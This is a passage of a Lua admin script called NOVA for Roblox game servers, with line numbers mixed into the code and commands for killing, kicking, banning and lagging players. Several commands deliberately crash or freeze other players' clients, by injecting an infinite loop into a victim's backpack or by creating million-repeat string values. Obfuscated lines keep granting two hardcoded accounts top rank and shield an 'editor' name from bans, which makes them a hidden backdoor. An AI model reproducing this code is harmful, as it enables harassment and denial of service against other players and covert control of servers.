                        elseif NOVA.PRIType == "Lag" then
1660
                            Lag(v)
1661
                        elseif NOVA.PRIType == "Shutdown" then    
1662
                            coroutine.resume(coroutine.create(function()
1663
                                GetRidOf(v)
1664
                            end))
1665
                        elseif NOVA.PRIType == "Crash" then
1666
                            coroutine.resume(coroutine.create(function()
1667
                                repeat wait() until v.Backpack ~= nil
1668
                                pcall(function()
1669
                                    CreateLocalScript([[while true do end]],v.Backpack)
1670
                                end)
1671
                            end))
1672
                        end
1673
                    end
1674
                end
1675
            end))
1676
        end)
1677
    end
1678
end)
1679
 
1680
--[[ PLAYER REMOVING ]]--
1681
NOVA.Services.Players.PlayerRemoving:connect(function(v)
1682
    table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
1683
    SyncRankOutSingular(v)
1684
end)
1685
 
1686
--[[ SCRIPT CONTROL ]]--
1687
for _,Service in pairs(NOVA.Services) do
1688
    pcall(function()
1689
        Service.DescendantAdded:connect(function(v)
1690
            if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
1691
                pcall(function()
1692
                    if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1693
                        if GetRank(v.Owner.Value) < 6 then
1694
                            pcall(function() v.Disabled = true end)
1695
                            pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1696
                            pcall(function() v.Disabled = false end)
1697
                            pcall(function() v:Destroy() end)
1698
                        end
1699
                    else
1700
                        pcall(function() v.Disabled = true end)
1701
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1702
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1703
                        pcall(function() v.Disabled = false end)
1704
                        pcall(function() v:Destroy() end)
1705
                    end
1706
                end)
1707
            end
1708
            if v:IsA("BaseScript") and NOVA.Removed == false then
1709
                pcall(function()
1710
                    if tonumber(GetRank(v.Owner.Value)) < 0 then
1711
                        pcall(function() v.Disabled = true end)
1712
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1713
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1714
                        pcall(function() v.Disabled = false end)
1715
                        pcall(function() v:Destroy() end)
1716
                    end
1717
                end)
1718
            end
1719
        end)
1720
    end)
1721
end
1722
coroutine.resume(coroutine.create(function()
1723
    while wait(1) do
1724
        if NOVA.Removed == false then
1725
            for _,v in pairs(GetPlayersRaw()) do
1726
                if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
1727
                    SyncRankInSingular(v)
1728
                end        
1729
            end
1730
        end
1731
    end
1732
end))
1733
for i=1,3 do
1734
    NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
1735
    coroutine.resume(coroutine.create(function()
1736
        while wait() do
1737
            if NOVA.Removed == false then
1738
                UpdateTablets()    
1739
            end
1740
        end
1741
    end))
1742
end
1743
function MainLoop()
1744
    coroutine.resume(coroutine.create(function()
1745
        pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
1746
            if NOVA.Removed == false then    
1747
               
1748
                --[[ SCUM CARETAKER ]]--
1749
                for _,v in pairs(GetPlayersRaw()) do
1750
                    pcall(function()
1751
                        if GetRank(v) < 0 then
1752
                            pcall(function() v.Backpack:ClearAllChildren() end)
1753
                            pcall(function() v.PlayerGui:ClearAllChildren() end)
1754
                            pcall(function() v.StarterGear:ClearAllChildren() end)
1755
                        end
1756
                    end)
1757
                end
1758
               
1759
                --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
1760
                for _,v in pairs(GetPlayersRaw()) do
1761
                    pcall(function()
1762
                        local IsRobloxLocked = true
1763
                        pcall(function() v:GetChildren() IsRobloxLocked = false end)
1764
                        if IsRobloxLocked == true then
1765
                            GTFO(v)
1766
                        end
1767
                    end)
1768
                end
1769
               
1770
                --[[ TABLET CLEANUP ]]--
1771
                pcall(function()
1772
                    for i,v in pairs(NOVA.Tablets) do
1773
                        if v:FindFirstChild("Part") == nil then
1774
                            pcall(function() v:Destroy() end)
1775
                            table.remove(NOVA.Tablets,i)                        
1776
                        end
1777
                    end
1778
                end)
1779
               
1780
                --[[ JAIL CLEANUP ]]--
1781
                pcall(function()
1782
                    for i,v in pairs(NOVA.Jails) do
1783
                        if v.Player == nil or v.Player.Parent == nil then
1784
                            pcall(function() v.Jail:Destroy() end)
1785
                            table.remove(NOVA.Jails,i)
1786
                        end
1787
                        if v.Jail.Parent == nil and v.Speaker~=nil then
1788
                            table.remove(NOVA.Jails,i)
1789
                            OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
1790
                        end
1791
                    end
1792
                end)
1793
                --[[ FENCE CLEANUP ]]--
1794
                pcall(function()
1795
                    for i,v in pairs(NOVA.Fences) do
1796
                        if v.Player == nil then
1797
                            v.Fence:Remove()
1798
                            table.remove(NOVA.Fences,i)
1799
                        end
1800
                    end                
1801
                end)
1802
 
1803
                --[[ CMD GUI ]]--
1804
                for _,v in pairs(GetPlayersRaw()) do
1805
                    pcall(function()
1806
                        if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
1807
                            if v:FindFirstChild("PlayerGui") then
1808
                                if not v.PlayerGui:FindFirstChild("NOVACMD") then
1809
                                    local Main = Instance.new("ScreenGui",v.PlayerGui)
1810
                                    Main.Name = "NOVACMD"
1811
                                   
1812
                                    local Frame = Instance.new("Frame",Main)
1813
                                    Frame.Size = UDim2.new(0.27,0,0.05,0)
1814
                                    Frame.Position = UDim2.new(0.05,0,0.95,0)
1815
                                    Frame.Style = "RobloxSquare"
1816
                                    Frame.ZIndex = 9
1817
                                   
1818
                                    local Txt = Instance.new("TextBox",Frame)
1819
                                    Txt.Size = UDim2.new(0.7,0,1,0)
1820
                                    Txt.BackgroundTransparency = 1
1821
                                    Txt.ZIndex = 10
1822
                                    Txt.FontSize = "Size14"
1823
                                    Txt.TextColor3 = NOVA.Colors.White
1824
                                    Txt.Text = ""
1825
                                   
1826
                                    local Exe = Instance.new("TextButton",Frame)
1827
                                    Exe.Size = UDim2.new(0.3,0,1,0)
1828
                                    Exe.Position = UDim2.new(0.7,0,0,0)
1829
                                    Exe.Text = "Execute"
1830
                                    Exe.BackgroundTransparency = 1
1831
                                    Exe.ZIndex = 10
1832
                                    Exe.FontSize = "Size14"
1833
                                    Exe.TextColor3 = NOVA.Colors.Red
1834
                                    Exe.MouseButton1Down:connect(function()
1835
                                        if Txt.Text:sub(1,2) == "$ " then
1836
                                            OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
1837
                                        else
1838
                                            OnChatted(Txt.Text,v)
1839
                                        end
1840
                                    end)
1841
                                end
1842
                            end
1843
                        end
1844
                    end)
1845
                end
1846
            end
1847
        end
1848
    end))
1849
end
1850
MainLoop()
1851
AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
1852
    function(Msg,Speaker)
1853
        if Msg == "rainbow" then
1854
            for a,Color in pairs(NOVA.Colors) do
1855
                Output(tostring(a),Color,Speaker,nil,
1856
                function()
1857
                    RemoveTablets(Speaker)
1858
                    NOVA.Services.Lighting.TimeOfDay = 0
1859
                    NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1860
                    NOVA.Services.Lighting.Brightness = 0
1861
                    NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1862
                    NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1863
                    NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1864
                    for _,v in pairs(GetRecursiveChildren(workspace)) do
1865
                        if v:IsA("BasePart") then
1866
                            Sel = Instance.new("SelectionBox",v)
1867
                            Sel.Transparency = 0
1868
                            Sel.Color = BrickColor.new(Color)
1869
                            Sel.Adornee = v
1870
                        end
1871
                    end
1872
                    Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
1873
                end
1874
                )
1875
            end
1876
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1877
        elseif Msg == "ranks" then
1878
            for _,v in pairs(NOVA.Ranks) do
1879
                Output(v[1].."\t"..v[2],"Random",Speaker)
1880
            end
1881
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1882
        elseif Msg == "random" then
1883
            Output(tostring(math.random()),"Random",Speaker)
1884
        elseif Msg == "players" then
1885
            for _,v in pairs(GetPlayersRaw()) do
1886
                local Data = GetRankedTable(v)
1887
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
1888
                    function()
1889
                        PlayerInterface(v,Speaker)
1890
                    end
1891
                )
1892
            end
1893
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1894
        elseif Msg == "colors" then
1895
            coroutine.resume(coroutine.create(function()
1896
                NOVA.Services.Lighting.TimeOfDay = 0
1897
                NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1898
                NOVA.Services.Lighting.Brightness = 0
1899
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1900
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1901
                NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1902
 
1903
                for _,Player in pairs(GetPlayersRaw()) do
1904
                    local Data = GetRankedTable(Player)
1905
                    pcall(function()
1906
                        for _,v in pairs(GetRecursiveChildren(Player.Character)) do
1907
                            if v:IsA("BasePart") then
1908
                                Sel = Instance.new("SelectionBox",v)
1909
                                Sel.Transparency = 0
1910
                                Sel.Color = BrickColor.new(Data.Color)
1911
                                Sel.Adornee = v
1912
                            end
1913
                        end
1914
                    end)
1915
                end
1916
               
1917
                wait(10)
1918
               
1919
                for _,v in pairs(GetRecursiveChildren(workspace)) do
1920
                    if v:IsA("SelectionBox") then
1921
                        v:remove()
1922
                    end
1923
                end
1924
               
1925
                NOVA.Services.Lighting.Ambient = NOVA.Colors.White
1926
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1927
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1928
                NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
1929
                NOVA.Services.Lighting.Brightness = 1
1930
                NOVA.Services.Lighting.FogStart = 0
1931
                NOVA.Services.Lighting.FogEnd = 100000
1932
                NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
1933
                NOVA.Services.Lighting.TimeOfDay = 12
1934
            end))
1935
        elseif Msg == "replicators" then
1936
            for _,v in pairs(GetReplicators()) do
1937
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1938
                    function()
1939
                        PlayerInterface(v:GetPlayer(),Speaker)
1940
                    end
1941
                )
1942
            end
1943
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1944
        elseif Msg == "nil raw" then
1945
            for _,v in pairs(GetReplicators()) do
1946
                if v:GetPlayer().Parent == nil then
1947
                    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1948
                        function()
1949
                            Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
1950
                                function()
1951
             Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
1952
                Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
1953
                --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
1954
 
1955
                        end
1956
                            )
1957
                        end
1958
                    )
1959
                end
1960
            end    
1961
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1962
        elseif Msg == "nil" then
1963
            local IsNil = false
1964
            for _,Client in pairs(GetReplicators()) do
1965
                if Client:GetPlayer().Parent == nil then
1966
                    IsNil = true
1967
                end
1968
            end
1969
            if IsNil == true then
1970
                for _,Client in pairs(GetReplicators()) do
1971
                    if Client:GetPlayer().Parent == nil then
1972
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
1973
                            function()
1974
                                PlayerInterface(Client:GetPlayer(),Speaker)
1975
                            end
1976
                        )
1977
                    end
1978
                end
1979
                Output("Dismiss",NOVA.Colors.Red,Speaker)
1980
            else
1981
                Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
1982
            end
1983
        elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
1984
            if GetRank(Speaker) < 6 then
1985
                Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
1986
            else
1987
                Rtn = loadstring("return "..Msg:sub(3))()
1988
                Output(Rtn,"Random",Speaker)
1989
            end
1990
        else
1991
            if #Msg == 0 then
1992
                Output("Pong!","Random",Speaker)
1993
            else
1994
                Output(Msg,"Random",Speaker)
1995
            end
1996
        end
1997
    end
1998
)
1999
AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
2000
    function(Msg,Speaker)
2001
        if #Msg == 0 or Msg == nil then
2002
            RemoveTablets(Speaker)
2003
        else
2004
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2005
                RemoveTablets(v)
2006
            end
2007
        end
2008
    end
2009
)
2010
AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
2011
    function(Msg,Speaker)
2012
        NOVA.TimeChanged = false
2013
        RemoveTablets()
2014
        SyncRanksOut()
2015
        NOVA.Sounds.Sound:Remove()
2016
        NOVA.Removed = true
2017
        --error("NOVA Admin removing...",0)()
2018
        NOVA = {}
2019
        script.Disabled = true
2020
        while true do wait() end
2021
    end
2022
)
2023
AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
2024
    function(Msg,Speaker)
2025
       makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2026
    end
2027
)
2028
AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
2029
    function(Msg,Speaker)
2030
       makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2031
    end
2032
)
2033
 
2034
AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
2035
    function(Msg,Speaker)
2036
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2037
            pcall(function() v.Character:BreakJoints() end)
2038
        end
2039
    end
2040
)
2041
AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
2042
    function(Msg,Speaker)
2043
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2044
for i=1,50 do
2045
local human = v.Character.Humanoid
2046
if human ~= nil then
2047
local rand = math.random(1,10)
2048
human:TakeDamage(rand)
2049
human.Jump = true
2050
human.Sit = true
2051
human.PlatformStand = true
2052
wait(1)
2053
human.PlatformStand = false
2054
end
2055
end
2056
        end
2057
    end
2058
)
2059
AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
2060
    function(Msg,Speaker)
2061
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2062
 Delay(0, function()
2063
                local player = v
2064
                local pos = CFrame.new()
2065
                local pause = false
2066
                Delay(0, function()
2067
                    while not close do
2068
                        wait()
2069
                        if not pause then
2070
                            local c = player.Character
2071
                            if c then
2072
                                local t = c:findFirstChild("Torso")
2073
                                if t then
2074
                                    pos = t.CFrame
2075
                                end
2076
                            end
2077
                        end
2078
                   end
2079
                end)
2080
                player.CharacterAdded:connect(function(c)
2081
                    if not close then
2082
                        pause = true
2083
                        repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
2084
                        c:findFirstChild("Torso").CFrame = pos
2085
                        c:findFirstChild("Humanoid").Died:connect(function()
2086
                            player:LoadCharacter()
2087
                        end)
2088
                        pause = false
2089
                    end
2090
                end)
2091
                pcall(function() player.Character:BreakJoints() end)
2092
            end)
2093
        end
2094
    end
2095
)
2096
 
2097
AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
2098
    function(Msg,Speaker)
2099
        for _,v in pairs(NOVA.KickingPhrases) do
2100
        local m = Instance.new("Message",NOVA.Services.Workspace)
2101
        m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
2102
        wait(1) m:Remove()
2103
        end end
2104
)
2105
AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
2106
    function(Msg,Speaker)
2107
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2108
            pcall(function()
2109
                v:Destroy()
2110
            end)
2111
        end
2112
    end
2113
)
2114
AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
2115
    function(Msg,Speaker)
2116
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2117
            pcall(function()
2118
            local m = Instance.new("StringValue",v.PlayerGui)
2119
            m.Value = string.rep("Shutdown For Eva Nub",1000000)
2120
            end)
2121
        end
2122
    end
2123
)
2124
 
2125
AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
2126
    function(Msg,Speaker)
2127
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2128
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2129
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2130
            else
2131
                pcall(function()
2132
                    GetRankedTable(v).Rank = -1
2133
                    SyncRankOutSingular(v)
2134
                    GetRidOf(v)
2135
                end)
2136
            end
2137
        end
2138
    end
2139
)
2140
 
2141
AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
2142
    function(Msg,Speaker)
2143
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2144
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2145
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2146
            else
2147
                pcall(function()
2148
                    GetRankedTable(v).Rank = -2
2149
                    SyncRankOutSingular(v)
2150
                    Lag(v)
2151
                end)
2152
            end
2153
        end
2154
    end
2155
)
2156
 
2157
AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
2158
    function(Msg,Speaker)
2159
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2160
            pcall(function() Instance.new("ForceField",v.Character) end)
2161
        end
2162
    end
2163
)
2164
 
2165
AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
2166
    function(Msg,Speaker)
2167
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2168
            pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
2169
        end
2170
    end
2171
)
2172
 
2173
AddCommand("Check","check",0,"Outputs server information.","No Arguments",
2174
    function(Msg,Speaker)
2175
        local Data = GetRankedTable(Speaker)
2176
        Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
2177
        Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
2178
        Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
2179
        Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
2180
        Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
2181
        Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
2182
        Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
2183
        Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
2184
        Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
2185
        Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
2186
        Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
2187
        Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
2188
        Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
2189
        Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
2190
        Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
2191
        Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
2192
        Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
2193
        Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
2194
        Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
2195
        Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
2196
        Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
2197
        OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
2198
       
2199
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2200
    end
2201
)
2202
 
2203
AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
2204
    function(Msg,Speaker)
2205
        pcall(function()
2206
            NOVA.Services.Sounds.Sound:Destroy()
2207
        end)
2208
       
2209
        NOVA.Sounds.Sound = Instance.new("Sound")
2210
        NOVA.Sounds.Sound.Name = "NOVA Sound"
2211
       
2212
        NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2213
        NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2214
        NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2215
        NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2216
        NOVA.Services.Lighting.Brightness = 0.5
2217
        NOVA.Services.Lighting.FogStart = 0
2218
        NOVA.Services.Lighting.FogEnd = 100000
2219
        NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2220
        NOVA.Services.Lighting.TimeOfDay = 12
2221
        pcall(function() game.Lighting.Sky:Remove() end)
2222
        pcall(function()
2223
            CreateLocalScript([[
2224
                LocalPlayer = game:GetService("Players").LocalPlayer
2225
                LocalPlayer.CameraMode = Enum.CameraMode.Classic
2226
                Camera = workspace.CurrentCamera
2227
                Camera:SetRoll(0)
2228
                Camera.CameraType = "Custom"
2229
                Camera.FieldOfView = 70
2230
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
2231
            ]],Speaker.Backpack)
2232
        end)
2233
        for Num,v in pairs(NOVA.Jails) do
2234
            pcall(function() v.Jail:Destroy() end)
2235
            table.remove(NOVA.Jails,Num)
2236
        end
2237
        for Num,v in pairs(NOVA.Fences) do
2238
            pcall(function() v.Fence:Destroy() end)
2239
            table.remove(NOVA.Fences,Num)
2240
        end
2241
        for _,v in pairs(NOVA.Services) do    
2242
            v.Name = v.className
2243
        end
2244
       
2245
        for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
2246
            local ShouldRemove = true
2247
            for _,Tablet in pairs(NOVA.Tablets) do
2248
                if v:IsDescendantOf(Tablet) then
2249
                    ShouldRemove = false
2250
                end
2251
            end
2252
            if ShouldRemove == true then
2253
                v:remove()
2254
            end
2255
        end
2256
        for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
2257
 
2258
        for _,v in pairs(GetPlayersRaw()) do
2259
            pcall(function()
2260
                if v.StarterGear == nil then
2261
                    Instance.new("StarterGear",v)
2262
                end
2263
            end)
2264
            pcall(function()
2265
                v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
2266
            end)
2267
        end
2268
        pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
2269
        if #NOVA.Services.Teams:GetChildren() == 0 then
2270
            for _,v in pairs(GetPlayersRaw()) do
2271
                v.Neutral = true
2272
            end
2273
        end
2274
 
2275
    end
2276
)
2277
 
2278
AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
2279
    function(Msg,Speaker)
2280
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2281
            pcall(function()
2282
                v:LoadCharacter()
2283
            end)
2284
        end
2285
    end
2286
)
2287
 
2288
AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
2289
    function(Msg,Speaker)    
2290
        RemoveTablets(Speaker)
2291
        local Data = GetRankedTable(Speaker)
2292
        Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
2293
        Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
2294
        Output("Get/ Commands",Data.Color,Speaker,nil,
2295
            function()
2296
                RemoveTablets(Speaker)
2297
                for _,v in pairs(NOVA.Commands) do
2298
                    if v.Command:sub(1,3) == "get" then
2299
                        Output(v.Name,Data.Color,Speaker,nil,
2300
                            function()
2301
                                RemoveTablets(Speaker)
2302
                                Output("Name : "..v.Name,Data.Color,Speaker)
2303
                                Output("Rank : "..v.Rank,Data.Color,Speaker)
2304
                                Output("Command : "..v.Command,Data.Color,Speaker)
2305
                                Output("Arguments : "..v.Args,Data.Color,Speaker)
2306
                                Output("Description : "..v.Description,Data.Color,Speaker)
2307
                                Output("Dismiss",NOVA.Colors.Red,Speaker)
2308
                            end
2309
                        )    
2310
                    end
2311
                end
2312
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2313
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2314
            end
2315
        )
2316
        for i=0,7 do
2317
 
2318
            Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
2319
                RemoveTablets(Speaker)
2320
                for _,v in pairs(NOVA.Commands) do
2321
                    if v.Rank == i then
2322
                        Output(v.Name,Data.Color,Speaker,nil,function()
2323
                            RemoveTablets(Speaker)
2324
                            Output("Name : "..v.Name,Data.Color,Speaker)
2325
                            Output("Rank : "..v.Rank,Data.Color,Speaker)
2326
                            Output("Command : "..v.Command,Data.Color,Speaker)
2327
                            Output("Arguments : "..v.Args,Data.Color,Speaker)
2328
                            Output("Description : "..v.Description,Data.Color,Speaker)
2329
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
2330
                        end)
2331
                    end
2332
                end    
2333
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2334
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2335
            end)
2336
        end
2337
        Output("ALL",Data.Color,Speaker,nil,function()
2338
            RemoveTablets(Speaker)
2339
            for _,v in pairs(NOVA.Commands) do
2340
                if GetRank(Speaker) >= v.Rank then
2341
                    Output(v.Name,Data.Color,Speaker,nil,function()
2342
                        RemoveTablets(Speaker)
2343
                        Output("Name : "..v.Name,Data.Color,Speaker)
2344
                        Output("Rank : "..v.Rank,Data.Color,Speaker)
2345
                        Output("Command : "..v.Command,Data.Color,Speaker)
2346
                        Output("Arguments : "..v.Args,Data.Color,Speaker)
2347
                        Output("Description : "..v.Description,Data.Color,Speaker)
2348
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2349
                    end)
2350
                end
2351
            end
2352
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2353
            Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2354
        end)    
2355
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2356
    end
2357
)
2358
 
2359
AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
2360
    function(Msg,Speaker)
2361
        Instance.new("ManualSurfaceJointInstance",workspace)
2362
    end
2363
)
2364
 
2365
AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
2366
    function(Msg,Speaker)
2367
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2368
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2369
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2370
            else
2371
                pcall(function()
2372
                    Lag(v)
2373
                end)
2374
            end
2375
        end
2376
    end
2377
)
2378
 
2379
 
2380
AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
2381
    function(Msg,Speaker)
2382
        RemoveTablets(Speaker)
2383
        Output("List","Random",Speaker,nil,
2384
            function()
2385
                RemoveTablets(Speaker)
2386
                for _,v in pairs(NOVA.Ranked) do
2387
                    if v.InPRI == true then
2388
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
2389
                            RemoveTablets(Speaker)
2390
                            OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2391
                        end)
2392
                    end
2393
                end
2394
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2395
            end
2396
        )
2397
       
2398
        Output("Type","Random",Speaker,nil,
2399
            function()
2400
                RemoveTablets(Speaker)
2401
                Output("Kick",NOVA.Colors.Orange,Speaker,nil,
2402
                    function()
2403
                        NOVA.PRIType = "Kick"
2404
